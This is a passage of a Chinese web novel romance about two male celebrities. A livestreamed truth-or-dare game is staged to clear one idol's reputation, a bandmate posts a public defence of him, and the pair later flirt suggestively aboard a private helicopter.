几个人从开始就在等这个,此刻配合得简直可以说是天衣无缝,短短几句话直接进入了核心,他们都是圈里的,自然清楚直播间的人都在等什么,初禾一说话这话,江沼立刻接过去:“那倒不是。” 江沼随意的语气像是在闲聊:“这不是前两天一起当评委吗,突然发现,他好像跳舞还是挺不错的。” 【前两天的一起的综艺,那不就是季沨骂人的那个吗?当时江沼是坐在旁边没错吧?】 【季沨跳舞??季沨什么时候跳过舞了,他不是评委嘛又不用开场!】 “就是跟那个叫什么卓超的选手solo的时候。” 江沼知道今天看直播的人不会少,自己今天这么说,大概率回去就会被经纪人和公司拎起来骂,还是道:“当然,那家伙自己也很烂就是了,不止季沨,我跟其他评委当时都看不下去了!” “所以季沨骂他那两句我们都挺赞同的,谁知道那片段只放了季沨自己,怎么,是怕我的帅脸抢了他的风头吗?” “而且季沨后面的solo也没放,”江沼说着一耸肩,好像只是一次朋友的吐槽,“当然了,不放最好,虽然赢个选手绰绰有余,但跟我还不一定呢。” “不一定你怕什么,”初禾说,“该不会是觉得季沨跳得比你好吧。” “谁怕他啊,”江沼这么说着,脸上却一副明显的心虚样子,“而且,舞蹈嘛,我也不是很在意。” “毕竟是我是vocal,”江沼望着季沨,他俩从出道开始吵了整整五年,生平第一次为了季沨说话而自贬,虽然心里不太乐意,还是开口道,“只是一次跳舞不如你,也不算什么,对吧?” 【!!!!卧槽卧槽卧槽!我听到了什么!!】 【所以那天季沨点评是和卓超solo了还赢了吗?天杀的节目组为什么不放视频帮我们风风澄清一下!】 【对啊对啊对啊,而且江沼也说了,是那个人的表演真的烂,不是季沨随便找茬,是他真的烂!所有评委都看不下去的那种,我们风只是敢说出来罢了,难道现在评委都不能点评选手了吗,那内娱才是真的要完了吧!】 【没人查一下这卓超吗?刚刚顺手查了一下,他妈是国家一级舞蹈演员,他爸是上市公司老总,比起季沨,这种人才是真的天龙人吧,说季沨欺负他一个新人选手,这他妈也能叫弱小无力的新人选手吗?】 【笑死,要是真的是新人,你们想节目组为什么现在还不放澄清视频,你们猜是什么让他们觉得一个弱小可怜的新人选手比顶流评委都重要呢?】 【呜呜呜风滚草一枚,终于有人为我们风风说话了,风风真的不是会随意骂人的人啊,只是点评犀利了一点。】 【但是没想到这个人居然是江沼,心情复杂。】 【心情复杂加一。】 江沼也没想到会是自己。 当然,他同样知道,要是季沨这个坎过不去,他作为第一个站出来替季沨说话的,估计也会跟着添上重重的黑点。 但是没办法,他们当初一起出道的几个人,退役的退役,养老的养老,满打满算也就剩了季沨一个。 他是看季沨不顺眼,凭什么他们辛辛苦苦练舞维持形象维持人设,这人却好像是什么都是轻轻松松,机场出个柜粉丝都能翻一倍,下车怼个私生都能火出圈? 凭什么他喜欢谁就要追着他跑?凭什么他可以被网上骂成这样还是一副风轻云淡毫不在意的样子? 但是…… 但是有时候看着季沨,他仿佛又能想起当初刚刚踏进这个圈子时的样子。 季沨好像是一面镜子,镜子的另一面是已经面目全非的自己——一边装成吃不胖的样子一边偷偷扒掉米饭,一边在心里骂娘一边微笑,一边放纵一边又想着收拾痕迹消除黑料。 逢人先要算计,开口先要考量,连衣服穿什么颜色都是规矩。 当初自己决定出道的时候,是想要这样的生活吗? 但是江沼看到季沨,却又总是能想起当初踏进公司大门时的心情。 退役聊不了圈子,没他火的不敢开口抱怨,陆屿洲之前说得对,骂归骂,怼归怼,不顺眼归不瞬间,但是这些年,他能聊聊之前的事的,也就只有季沨一个……朋友。 “呀,居然能从江老师口中听到一句不如我。” 季沨挑眉笑笑,拿起杯子跟江沼一碰:“谢啦。” 他们两个难得有这样轻松的氛围,江沼拿起杯子跟他碰了一下,也跟着笑了声。 众人都没有说话,都在等着季沨喝完茶,继续往下聊,比如那场solo的结果,节目的细节,网上的评论,或者是之前……哪怕是说说自己当初在练舞室里有多辛苦也好啊。 起码能证明不是一个只会坐着数钱的花瓶。 “不过……” 季沨放下杯子,众人屏息,连带着弹幕一起噤声,却看着季沨望向江沼,轻飘飘道:“ 我好像记得,你当时本来是想做舞担来着,但是出道站的时候因为身高不够被淘汰了,这才转的vocal。” 果然是可怜之人必有可恨之处! 江沼没想到自己一番真情换来这么一个答案,当即暴怒:“季沨我操·你……” 话说到一半,在旁边的陆屿洲快要捏着杯子砸上来的目光下硬生生换成了一句比季沨跟陆屿洲说话时还要夹的:“卧槽你怎么嘲笑人家呀。” 话题成功被岔过去,季沨低头抿了一口陆屿洲递过来的茶,抬眸问:“下一个到谁了?” “那应该是我?” 初禾笑笑接过酒瓶,按照年龄排的话,除了何皎皎确实就是他。 初禾握着酒瓶,瓶口颤巍巍晃了晃,终于落向了季沨。 呼……初禾长舒一口气,能准确地转到一个人,真是感谢他在酒吧混过的那些天。 江沼那个东西果然靠不住,帮季沨找机会这种事还是得他来。 “哇哦,居然是季哥!”初禾语气感叹,好像是刚刚发现一样,“真心话还是大冒险?” 季沨看了眼众人的神色,又垂眸看了看面前的酒瓶,所有人都在等着他,唯有他本人看起来神色淡淡,好像压根没意识到自己如今是如何的血雨腥风:“那不然……真心话?” 【卧槽卧槽!!!真心话啊啊啊啊!!】 【所以这个果然是澄清局吗?老子准备好的问题已经跃跃欲试了!那个房间到底是怎么回事?潜规则到底是不是真的?快问啊快问啊谁能帮我问问!!!】 【就是就是好想知道季沨怎么说,妈耶好激动!!】 “真的吗?师兄要答真心话,什么都可以问吗?” “嗯,”季沨一耸肩,“当然,什么都可以。” 他说话时眉眼一弯,虽然说是对何皎皎说,可是视线转回来,却和对面的陆屿洲碰上。 那笑容温和又包容,好像不管问什么都得一五一十地回答一样。 “那我来问?”初禾担心别人坏事,自己揽过了这个工作,“比如……” “我来吧。”初禾话还没说完,一直坐在对面安静聆听的陆屿洲突然开口道。 他鲜少有这么表现突出的时候,但毕竟他才是名义上的正牌CP,陆屿洲一开口,众人只好纷纷点头 “好啊,”季沨坐在他的对面,撑着下巴眉眼弯弯,“陆老师想问什么?” 他说话时微微晃了下,小腿与陆屿洲的碰在一起,隔着桌布,陆屿洲都能感受紧实的肌理和它们发力时的形状。 配合着脸上那副笑容,看起来撩人又随意,好似永远包容,也永远漫不经心,你很难从任何动作中发觉他还是不在意。 陆屿洲不由自主贴近了一点,长腿压着季沨的长腿。 陆屿洲当然有很多问题想问季沨。 他这五天来辗转反侧,问题一整晚也说不完。 任何人现在这个时候都有很多问题想问季沨。 可是,手中的杯子转了一圈,陆屿洲开口,问的却是:“这几天休息得好吗?” 卧槽!这算是什么问题啊! 弹幕和坐着的六人齐齐吐槽。 唯有对面的季沨弯起眉眼,和刚刚的笑不太一样,这个时候看起来才有几分生动的活力:“挺好的。” “嗯,”陆屿洲点点头,心中松了一口气,好像他这些天辗转难眠东奔西走想尽办法,最关心的只有这一个问题一样,“那就好。” “陆老师休息得好吗?” “不太好,”陆屿洲声音有些低,他在季沨面前总有些无意识的委屈和撒娇,“你不理我。” “有吗?” 季沨一眨眼睛,语气很像是在哄人,伸出的脚尖沿着陆屿洲的裤腿往上滑,和陆屿洲那种虚张声势的强硬不同,他撩人就是明晃晃的勾引:“酒不好喝吗,陆老师?” “好喝,”陆屿洲琥珀色的眼睛微微变深,“我只是有点想你。” “那也没办法啊,”季沨语气感叹,明明是拒绝,脚尖却沿着陆屿洲的腿根往上滑,“我们毕竟不是以前那种关系了。” 这种触碰对陆屿洲来说无异于饮鸩止渴,喉结轻轻滚动了下,微哑的声音道:“嗯,不是了。” 季沨的话听起来很像是他节目组设定的分手剧情,但是陆屿洲居然还赞同。 弹幕都在质疑这人是不是真的想拆CP,却没人看到,桌布的遮盖下,一只手骨节分明的手突然握住那只穿着白袜的细瘦脚踝。 那只作乱的脚却被陆屿洲死死地按住贴近,指骨在他踝骨处轻轻地摩挲了下。 陆程易说得对,每种关系的相处都是不一样。 他跟季沨还没认识就上.床,还没正式表白就挑逗。 所以,还没得到许可就追求,那又怎么样呢? 陆屿洲不再问他晚不晚,被动地等着指令只能是发生这次一样的事情。 自己骗他今天恋综也不是没有提前得到许可吗,陆屿洲的手指握紧季沨的踝骨,用力道:“以后换个新的。” 季沨终于弯起眼睛笑了起来。 “卧槽不是,”江沼匪夷所思,“你俩玩个真心话在这儿搞得跟密探007一样说什么加密语言呢?” “快点快点,下一个!” 众人这才开始重新活跃,下一个是拿起酒瓶转了一圈——陆屿洲。 “哇哦,居然是陆老师耶!”何皎皎跟着起哄,“快点快点,真心话还是大冒险!” 陆屿洲看了眼旁边的何皎皎,想起她一开始给商序提的大冒险:“大冒险吧。” 他说着,拿起旁边的扑克牌,明明房间里开着空调,还是暗示性地扇了扇风:“皎皎来提。” “真的吗真的吗?”何皎皎看起来很兴奋,“陆老师是不是还没有在节目上唱歌跳舞过,那让陆老师跳脱衣舞可以吗!” 陆屿洲手一抖,差点没把扑克牌当暗器甩在她身上,拿起又扇了扇,觉得自己的暗示已经足够明显:“那不然还是换一个?之前用过的也没关系。” “啊?”何皎皎说,“你也想吃芥末面包?你很喜欢芥末吗?” 对面的初禾直接笑出了声。 他一开始就看出来陆屿洲想干什么了,但是你还别说,这人顶着那张矜贵脸却跟个小狗一样着急上火的样子还挺可爱,难怪季沨总喜欢逗他。 不过,他能看出来的事情季沨自然也看出来了,人家都不发话,自己当然只有火上浇油的份:“如果很喜欢吃芥末的话这个怎么能算是大冒险呢。”初禾说,“我看网上说陆老师从出道以来从来没有过丑照,不然我们今天就让他拍一个看看?” “好好好这个好!我存了好多捏着鼻子扮猪的表情包,别急我现在就给你挑一组最丑的啊陆老师!” 陆老师刚刚因为季沨默许时的高兴还没过两秒,就已经快气炸了。 早知道应该只通知季沨一个人来录节目。 哪有人表白之前先自发十几张丑照过去的?! 陆屿洲之所以这么多年没有一张丑照,就是因为他以极其苛刻的精神做到了在每一场活动都一丝不苟,从任何角度任何表情任何动作,杜绝了媒体抓拍的可能性。 当然,能成功的很大原因,其实是因为陆屿洲大多数时候都像个面瘫。 “不行!”他只有在季沨的事情上才有几分活气,“我不要这个,我……” 没见过大冒险这么玩不起的,何皎皎正要开口,忽然听到旁边的季沨道:“真的不行吗?” “陆老师,”他又开始带上熟悉的尾音,笑容是令人沉醉的漂亮,“我想看。” 可……可是…… 季沨撑着下巴,身体前倾微微靠近了下,连睫毛都可以清晰可见,又唤了他一声:“陆老师,” 他的脚尖碰了碰陆屿洲的小腿,语气是明晃晃的撒娇,漂亮眸子像是闪烁的星星:“我们现在不是那种关系,你就不听我话了吗?” 陆屿洲心脏扑通一声,被晃动的星星给砸倒,晕晕乎乎地起身捏着鼻子扮猪去了。 【啊啊啊啊季老师好会撩啊卧槽,老婆撒娇真是受不了[西子捧心]】 【哈哈哈哈哈陆宇宙你要不要这么听话真是笑死我了!】 【生平第一次收获lyz的表情包,感谢季老师的馈赠,[双手合十]】 【新来的,这个恋综是一直都这么甜吗,明明是冲着吃瓜来的结果却被记录CP圈粉了,卧槽对不起爬墙一会儿但是他们真的很好磕啊!】 【对吧对吧对吧的姐妹!!我就知道啊啊啊,这对真的太绝了,没有人会不喜欢我们记录CP!】 陆屿洲几个动作拍完,众人立刻哈哈大笑起来。 原本因为季沨的事紧绷着的神经奇迹般的放松下来,又恢复了以往那种打打闹闹的样子。 初禾偏头看着季沨嘴角带笑的样子——或许季沨从一开始就没想要他们帮忙做什么。 就像是当初江沼在节目上试图怼人被他拦了一样,季沨自己要做的事情那就是自己做,他无意于让其他人跟他一起承担责任。 一直给予正向的、温柔的情感反馈却从来不索取,季沨实在是一个完美的朋友。 但是……初禾望了眼对面。 陆屿洲呢? 他对陆屿洲也这样吗? 永远做一个体贴包容不会出错的完美恋人……一个不会占有,一个不会索取,他们还真是天生一对。 这样想着,手指一松,酒瓶晃晃悠悠—— 又是季沨。 游戏玩了一轮,初禾再一次把酒瓶转回到了季沨面前。 “我发现你是不是有季沨瞄准器啊,”何皎皎说,“怎么每一次都能转到我师兄?” 这一次,还真没有。 初禾也很无奈,他只是走神了。 “快快快,这一次是什么,”宋晚接过话,又警告性地看了一眼陆屿洲,“这次陆老师可不许再问一些放水问题了啊,我们要听劲爆的!劲爆的!” “这人的嘴能有什么劲爆的,”江沼不屑一顾,“他跟你说情史你能信吗?” “我看不如大冒险,这样才好玩。” “对对对,”几个人瞬间明白了江沼的暗示,“那就大冒险大冒险大冒险!!!” “行,”季沨点头,很好脾气的样子,“那你们想看什么?” 他说着拿了张扑克牌夹在指间,是和之前的陆屿洲一模一样的姿势,只是牌面在手中悠悠一转,恍若一个完美的教学:“隔空接吻?也不是不可以。” 陆屿洲瞳孔地震,原来还可以这样直接说的吗!? “那不行,谁不知道你季沨是内娱第一海王,这点花样怎么够。” “就是就是。 ” “不然这样吧,”江沼终于找到了机会,开口道,“刚刚陆老师的舞没有跳,你来跳一个?” 【啊啊啊啊啊啊卧槽!!!季沨要跳舞了吗!】 【之前的没赶上,原来是在这里等着啊,好好好!】 【我就知道今晚打开这个一定会有瓜吃!快让我看看,季沨水平到底怎么样!】 【就是,江沼之前说的到底是不是真的,当然还是要有视频有真相!】 “好好好, ”何皎皎一听就明白了江沼的意思,当即道,“那就这个!谁都不许换了。” “对对对,就这个就这个,我也想看季老师跳舞啊啊啊啊!” “我也是,季老师快点快点。” 任何时候,真正的实力都是有绝对的说服力的。 季沨现在没有别的发声渠道,这里显然是个好机会。 季沨无奈地笑了下,他当然明白他们的意思。 虽然这并不是他来节目的目的,但是朋友的关心都到了这个份上,他似乎也没办法抚面子:“好吧。”季沨正要起身,“那我……” “那我去吧。” 对面的陆屿洲突然接过话。 膝盖从季沨的膝盖中抽了出来,陆屿洲朝他笑了笑,率先起身:“我来给大家表演吧。” “第一次听到真心话大冒险还能替的!哪来的这规矩?” “就是就是,”何皎皎也附和道,“你跟着凑什么热闹,这明明是让季哥……” “我知道。” 陆屿洲又不是傻子,任谁都能看出来,今天这几个人是变着法地想为季沨找澄清的机会。 “但是没关系,”陆屿洲说,“他不用做这些。” 因为他太过迟钝明白得太晚,好像只有季沨问一句才能走一小步,所以从今以后,季沨都只需要坐着就好了。 他不需要澄清什么,也不需要再向任何人解释证明和靠近。 陆屿洲望着季沨的眼睛,他没有再询问季沨的意见,只是轻声道: “我来吧,季老师。” 第52章 第五十二章 当晚, 就在季沨试戏视频流出之后,阮嘉已经两年没更新的大号突然发了一条长微博: “大家好,我是阮嘉, 很多人可能都不记得我的名字,可能说Buttland你们会熟悉一点?是的, 我是Buttland的舞担。” “一直没有对大家说的是,其实当时内部测试, 队长季沨才是第一。我成为舞担, 只是因为这个是我母亲的遗愿, 如果早期的团粉,应该知道, 队长的母亲当时正因为重病住院。” “所以他当时让我做了舞担, 这么多年, 一直没有说起过这件事情,把所有可以表现的镜头都交给了我。” “我享受了这份照顾,团队里所有人都享受着他的照顾,不管是私生追车, 晚会演出名次被换, 约好的录音室被别的团占用,他总有解决的办法,他其实并不是团里最大的一个, 但是好像有队长在,什么事情都是可以被解决的。” “今天说这些, 并不是想要煽情, 更多的话我自己会对队长说, 只是想要告诉大家,季沨——Buttland的队长季沨, 爱豆季沨,演员季沨,他并不是大家所以为的只是团队的花瓶。” “下面的东西可能会触犯到很多人隐私和利益,但是没关系,如果有传票的话尽可以发给我,其实我很开心,既然享受了队长这么久的照顾,今天终于轮到我能挡在他前面说句话。” “如果……你刚好也认识,刚好看到这里,拜托和我一起看一下下面的东西,多了解一点他吧。” 陆屿洲当初来找阮嘉的时候只是想要季沨当初的练习视频,找个狗仔放出去。 可他没想到,阮嘉居然用自己的号发了这些,而且,远不止于此—— 阮嘉在下面放了季沨出道前的舞蹈视频,公司的打分表,季沨跟录音室的沟通记录,季沨熬夜给他们每个人试音做demo,季沨看到私生,反手将他们几个人锁在车上,自己一个人去面对。 “在Buttland的这三年里,队长所做的远比大家想到的要多得多,队长的业务能力也比大家所以为的要强得多,我今天发出来,只是想告诉大家——季沨从来没有辜负过自己的责任和职业,也从来没有做出任何违反职业道德的事情。” “他没有,也并不需要。” 有煽情有态度有实锤,阮嘉的这个澄清帖几乎可以说是教科书般,而就在发出去的第一时间便被Buttland其他几位转发,热度一路飙升。 几乎在短短半个小时内,#季沨队长# #季沨Buttland#第一次压过了#季沨潜规则#登顶热搜。 粉丝们终于找到阵营,几乎是疯狂下开始洗广场转发,热度不断攀升,当初曾经被泼上来的脏水,趁着这个机会一股脑地还了回去—— 【什么抢c位,我老婆长这张脸需要跟谁抢C位呢我请问,他站在哪里哪里就是C位吧?】 【就是!还有之前的机场,那明明就是当时有个接机的粉丝哮喘犯了,季沨才用自己的vip休息室让她进去!!说什么搞特权的!我们季沨上任何综艺跳水上山从来不说二话,哪里搞过特权!!!】 【季沨业务能力就是很强啊!当初上节目评委还夸过得好不好!那个什么卓超就是自己差劲啊!】 一时间,#季沨脸即C位# #季沨机场救援# #季沨这才是真的唱跳爱豆# 热搜铺天盖地,由于之间积累的热度,这次反转远比当初的话题量还要多了好几倍。 季沨的名字空前绝后地连续垄断了两天的词条,黑粉终于挡不住这浩浩荡荡的阵势,纷纷放弃之前的阵地,不再纠缠演技和实力的事儿,集中火力攻击最重要的一个—— 【那又怎么样,潜规则的事情你们解释清楚了吗?】 【就是!就算是有舞蹈视频又怎么样,潜规则这事儿可是有视频有真相,难道季沨脖子上还能是蚊子包吗?】 黑子们死盯着一个品德说话,并且疯狂@各种官方媒体,希望有关部门能直接将季沨封杀。 就在两方撕得沸沸扬扬的时候,之前那个说要爆料的天喵卫士突然又发了一条微博:【还有20个小时,是真是假,到时候见。】 这几乎是明示了那位二字顶流的身份,天喵卫士的粉丝量一夜翻倍。 直播间的预约人数直接破了纪录。 不过此时的季沨,并没有欣赏到空前绝后沸沸扬扬的一场大战。 他正坐在私人直升飞机上,失去了玩手机的机会。 这当然不是季沨的,他的片酬租个房子还可以,没有多余的金钱去搞这么奢侈的东西。 也当然不是节目组的,因为飞机上除了机组人员,就只有季沨和陆屿洲两个人。 陆屿洲似乎一早策划好了,几乎是刚刚吃完晚饭就将季沨带了上来。 他难得任性一次,不想应付规矩繁多的节目组,也不想跟一群看热闹不嫌事大的队友争辩。 陆程易说得对,日子是他和季沨过的,表白这种事也是他和季沨两个人之间的。 他不想季沨在这种时候还要照顾任何人的情绪,注意镜头和说话的尺度。 不需要舞者和观众。 只要季沨开心就好了。 不过……这个直升机也不是陆屿洲的。 他还没有给自己买这种奢侈品的坏毛病,这个直升机是陆屿洲他爸哭天喊地让他大伯给买来探险用的,上面放着各种科考本子和杂志,季沨捡起其中一页看了一眼,上面写着:“遗失在太空的UFO——当你在凝视在深渊的时候,深渊也在凝视你。” 在高空中看这个总有些毛骨悚然,季沨赶紧给人放了回去。 既然是私人飞机,设施自然很完善,不仅有餐厅和厨房,后面还有一整个酒店套房一样的房间,里面甚至还配备了沙发和浴缸。 陆屿洲说是让季沨好好休息,等到明天下了飞机再带他去,可是季沨正擦着头发坐在床头,突然听到外面传来的一点窸窸窣窣的声音,似乎是有人在辗转难眠。 想起陆屿洲上节目时需要遮瑕才能盖住的眼底青黑,他隐隐皱起眉,抬步要出房间。 临到门口,却脚步一停,将自己身上披着的浴袍解开两颗扣子,这才推开门。 声音离得稍稍远了些,陆屿洲不在外面的吧台,而是另一侧影音厅。 季沨一把推开了门。 由于曾经是给陆程易的考察队用的,这里影音厅充当了曾经的开会和复盘作用,上面的屏幕非常大。 而现在,这面占据了半面墙壁的投影仪上播放着季沨的舞蹈视频—— 尚且二十一岁的季沨穿了一身镂空针织衫,早年的暴露程度甚至能让人在动作的起伏中看清楚胸前的凸起被织线扫过的痕迹,更何况还是这么大的屏幕。 不仅是胸膛,连季沨下面紧身皮裤中露出的一点黑色边缘都清清楚楚,四处的3D环绕音正循环播放着个副歌换气时的一点微喘。 那时候刚出道,只能靠着这些东西博眼球,这种早期视频人人都有,但是……一个人大晚上洗完澡裹着浴袍在房间里偷看这些。 季沨的目光从陆屿洲交领里露出的胸膛,一路望到他垂落在腰间的骨节分明的手,眉眼微微一挑。 “季,季沨,我,我这……” 陆屿洲抬眸看到季沨,瞬间耳尖涨红,今晚还在节目组里大杀四方的成熟镇定统统不见,好像是个偷看被抓包的私生。 手指迅速地按了暂停,身体却像个被定住的稻草人一样不敢动了。 终于还是季沨先转开话题,移开目光,站在窗边问了一句:“现在到哪了?” 陆屿洲这才开始动作,一边飞快收着旁边光盘专辑一边回答:“大理。” “大理?”再往外可就是国境了,季沨说,“我们要去这么远吗?” “嗯。” 陆屿洲拼命地将东西往沙发下面的橱柜里塞: “之后还会经过清莱、清迈,芭堤雅……” 他报一个地名就塞一沓,终于赶在季沨回头之前将东西全塞进去,想着季沨也许并不想追究,这茬应该算是已经过去,正要长长地舒了口气。 谁知道刚一晃神,一只骨节分明的手就递了过来:“你落了一个。” 陆屿洲急急忙忙地低头去捡,突然发现这一张封面上的季沨——上半身的衬衫纽扣全开,白色边缘一路被黑色西裤收紧胯骨,劲瘦的腰身和腹肌一览无余,伸出两根修长的指节按在唇边,饱满的嘴唇微微张开,露出一点艶丽的唇峰,桃花眼视线稍稍向下,目光侵略又充满暗示性。 如果不是这张专辑本来就是这种色气的风格,单拎出去,几乎像是某种招揽门客的欲说还休。 “怎么大晚上看这个啊,”季沨的语气里带着笑,似乎是刻意要逗他,“嗯,陆老师?” 声音带着热气,吹在陆屿洲的耳边,好像是秋日的一场风,飘过来,漫山遍野都变成了深深的红。 陆屿洲感觉到胸膛发热:“我,我不是……我只是……” 他支支吾吾地说了半天也没有说出来——深夜里穿着睡衣在影音室里看另一个人的这种视频,怎么看都很难解释清楚。 更何况他现在还在表白前的考察期。 可季沨没有分毫要翻篇或是替他结尾的意思,直到陆屿洲急得眼睛和脖子都要一起红了,终于破罐子破摔地承认道:“我只是想你了。” 季沨这才将那张专辑放回去抽屉,眉眼含笑:“见不到的时候,就看这些?” “嗯。” 语气轻轻地,由于刚刚停了太久,于是听起来似乎莫名地委屈:“我给你打了很多电话,你都没有回。” “那个手机没有开机。” 季沨可能真的有一些养宠物人的通病,对方越是乖巧就越是想逗他,对方真正委屈的时候却又忍不住开始哄:“好啦,那我现在不是在这里了吗?” 陆屿洲许久没有听到季沨这样温柔地跟自己说话了。 他这些天都在担惊受怕辗转反侧,眼眸一酸,差点真的红了眼眶。 “没关系,不用觉得不好意思,”季沨在陆屿洲身边坐下来,“我们分开的那五年里,我也会这样看你的视频。” 他说的是那五年,而不是陆屿洲为季沨辗转反侧的那五天,好像是把他们的交谈只当成节目组的一个任务,但是开口的却是: “你的那场‘神明之约’我看过很多遍。” 陆屿洲唰地抬起了头。 “让我想想……你当时的主题应该是地狱使者塔纳托斯,染了银发,背后带着黑色羽翼,银灰色的缎面背心,明明是中间出场,却好像压轴一样。” 季沨的声音很轻,嘴角带着淡淡的笑,温柔得好似投影下的星光。 一瞬间,陆屿洲猛然想起之前郁容跟自己说过的话。 “两年前我才刚带他,那时候风风还没有现在这么火,一场戏要等上八个小时,我都睡了一觉,他就一直那么坐在那,结果等我醒来的时候,我发现他在等着看您在纽约的那场大秀直播——‘神明之约’。” 虽然知道或许不该信,虽然知道这也许只是节目组提前告知了季沨主题所做的准备,但是陆屿洲的心脏还是因此而跳跃了起来。 “那我也会看你的。” 陆屿洲琥珀色的眼睛回望季沨,轻声道:“季老师出圈的妆造可比我多得多。” “第一年就卖出去了那张销量破纪录的《Butterfly》,封面那么好看,”陆屿洲说,“我要是看到,一定会托人从国内给我带过来放在书架上。每天早上听一遍,晚上再听一遍。” “第二年应该就接了很多综艺了,还有很多打歌舞台。” 季沨偏过头,看着陆屿洲煞有介事地讲述着这种可能性,好像他们真的有过分开但是相互惦念的五年,好像是一场太过漫长的,迟来的回应: “元宵晚会上,居然跟江沼的团差了一百五十票,你怎么可能比不过他们呢?” 听起来很不服气:“我当时看到了,一定花钱给你打投。” “还有第三年,”陆屿洲说,“第三年季老师就是很合格的门面了,每次摇过来第一个镜头总是要给你。” “我要给你剪成集锦放在各个平台上,这样你的粉丝还会叫我太太,她们都很可爱啊。” “你听不到的话,我就跟她们说我喜欢你。” 明明知道自己不该信的,明明知道这大概率只是陆屿洲为了配合自己而说出好听的话,但是季沨的心脏还是因此强烈地跳动起来。 “就是你的粉丝群有点难加,要水很久才能混到一个管理位,不过也没关系了,我产出很高的。” “我来帮你打投,帮你占录音室,帮你一起骂私生……” 如果他在的话,那些根本就不会让季沨一个人去做。 “然后你就开始接戏了,《第三十四次日落》《晚来天欲雪》,还有……” 陆屿洲还没说完,季沨突然抬手捂住了他的嘴巴。 睫毛眨了眨,季沨很善于隐藏情绪,于是他没让陆屿洲继续说下去。 “这就不用看了,”季沨笑了笑,桃花眼莹润漂亮,“我演技不太好,丢人。” 陆屿洲却忽然摇了摇头:“你演技很好的,季沨。” “只是……”陆屿洲喉结滚了滚,最后还是轻声道,“季沨,你两年前……是不是被人剪过片子?” “你怎么知道?” 那就是了,陆屿洲点点头,在心中记下来这件事,尽职尽责地给季沨解答:“你自己没有发现吗?” “你每次不开心的时候就会先低头,像这样,”陆屿洲顺着他的眼睛往下点了点,仿佛能模拟季沨长睫低垂的样子,“然后再笑。” “我不喜欢看你这样笑……所以,你当时在雪地中垂下的眼睛那一刻,我就知道下一个动作是什么了。” 只是后面的不见了。 季沨的心脏好似被人轻轻捏了一下,如同酸胀的柠檬汁液一样爆开。 只有他发现陆屿洲紧张的时候喜欢手里握着东西,也只有陆屿洲知道季沨喜欢这样笑。 也许真的像是季沨那天跟宋骁说的一样,这个世界上,也许真的有人比你自己更了解你。 “刘庚的事,”陆屿洲望着他的眼睛,手指伸到季沨的手边,很小心地碰了碰他的指尖,“如果我帮你解决了,你会生气吗?” 他之前做得那么果决,几乎把所有能找的人都给找了一遍,连猴面包树里的陆程易都给挖了出来,现下在季沨面前却又似乎只剩下小心翼翼,季沨抬起眼睛:“那我要是我说会呢?” “可是我已经做了。” 陆屿洲靠近他,整个人几乎要贴到季沨身上:“季沨,你能不能不要生气?” “刘庚可是华世的副总,”季沨望他一眼,“你是雇人把他打了一顿?” “差,差不多吧。” 陆屿洲并不想告诉季沨细节: “你还没告诉我,能不能不生气?” “我说过以后不让别人欺负你的,”他不行就找爸爸,爸爸不行就找爷爷,陆屿洲注视着季沨的眼睛, “我都跟我爷爷说了,让他从地底出来把人带走,最好是车祸再来回倒三次。” 季沨笑了:“这么狠啊陆老师?” 不是刚刚说过的那种眼睫低垂嘴角淡淡的笑,而是嘴角上扬的笑。 陆屿洲忍不住将手伸进季沨的腰身,整个人几乎要将季沨压在沙发上:“季沨,我有没有说过,你笑起来的样子很好亲?” “有吗?” 季沨偏头想了想,他只穿了件睡袍就出门,领口敞开,修长的脖颈还带着水汽蒸出的粉红,脸上的笑容那样漂亮,语气却带着明晃晃地挑逗: “怎么办,你好像只说过我亲起来很好操?” 第53章 第五十三章 陆屿洲从他的脖颈望到唇畔, 眼眸深深,抓着季沨的腰压下来:“那你现在知道一下吧。” 就在陆屿洲即将要碰下来的时候,季沨突然抬手一挡, 掌心里陆屿洲的嘴唇只隔一线: “陆老师,”他微一垂眸, “节目组都说了不能亲密接触,明天起来要是还在一张床上, 不太好吧?” 陆屿洲呼吸起伏, 深深地看了他一眼。 季沨虽然说着这样的话, 但是长发散落在他的肩胛,腰身贴在他的掌心, 摆明了是刻意要为难。 陆屿洲长眉一挑, 在这事情上他们是花样都很多的默契, 抬手从桌上的果盘里拿了颗小番茄喂给季沨,季沨刚刚张开嘴巴要去接,鲜红的番茄突然压着他的舌尖,像一颗滑进口腔的珠子, 沿着嫣红的小舌转了一个圈。 “陆……” 季沨想叫他的名字, 嘴唇一动却碰到陆屿洲的手指,温柔口腔几乎是含进了半根,番茄汁液爆在口腔, 陆屿洲将湿淋淋的手指抽出来,刚刚的焦躁似乎终于得到了一点恶劣的报复快感:“不是说了不让亲密接触吗, 季老师?” “嗯。” 岂料季沨比他要淡定得多, 那张脸上的红晕只出现了一瞬, 季沨咬爆了那颗番茄,伸出两根手指, 指腹压着柔软的嘴唇,缓慢地擦拭那点汁液。 陆屿洲呼吸渐深,起伏的胸膛压着季沨的胸膛,季沨总是有这种轻飘飘就反撩的本事:“节目组是有这个规矩……不过,”季沨微一挑眉,“你这么听话啊,陆老师?” “跟谁都这么听话?” 季沨说着抬起手,手指按住陆屿洲的指腹,沿着轮廓走到一圈:“不许听别人的话,只能听我的,”他的呼吸打在陆屿洲耳边,热气弥散,“知道吗?” 陆屿洲掌心一跳,脖颈青筋鼓起,几乎立刻就要去抓季沨的手腕。 季沨突然稍一侧身,视频里那灵活的腰身此刻像是游鱼一般在陆屿洲的掌心一滑,长发蹭过陆屿洲的侧脸。 陆屿洲还没来得及伸手捞人,季沨便已经站起了身,大腿处掀起的布料重新轻飘飘地垂落下去,当着陆屿洲的面将领口的那两颗扣子给系上了,轻飘飘道:“好了,我要去休息了。” “晚安,陆老师。” 他说着,居然真的转过头,推门进了自己的房间。 陆屿洲愣愣地看着自己掌心的余温和浴袍下凸起的形状,额头青筋直跳,盯着紧闭的房间看了半晌,最终还是认命地转回头,将季沨之前递过来的那张专辑重新拿了出来,看着封面上的照片,微微喘了口气将它重新塞进播放器。 骨节修长的手缓缓下移,最终绕到了浴袍下。 房间里弥散的过境气味很快被其他掩盖,浓郁得如同上面的环绕音一样铺满整个房间,陆屿洲收拾完毕站起身,推开了季沨旁边的那扇门。 两个房间挨得很近,两张床几乎只隔了一面墙,陆屿洲一直蜷缩到墙边,想象着和季沨相对而眠的样子,很快就闭上了眼睛。 难得地不用任何外力睡了一个好觉。 * 季沨是飞机即将降落的时候才被叫醒的。 陆屿洲怕他等会儿耳鸣,提前了半个小时唤他。 季沨还躺在被窝里,睡眼惺忪,一只手挡在眼皮上,额头上翘起几根呆毛,懒洋洋打了个哈欠:“到哪了?” 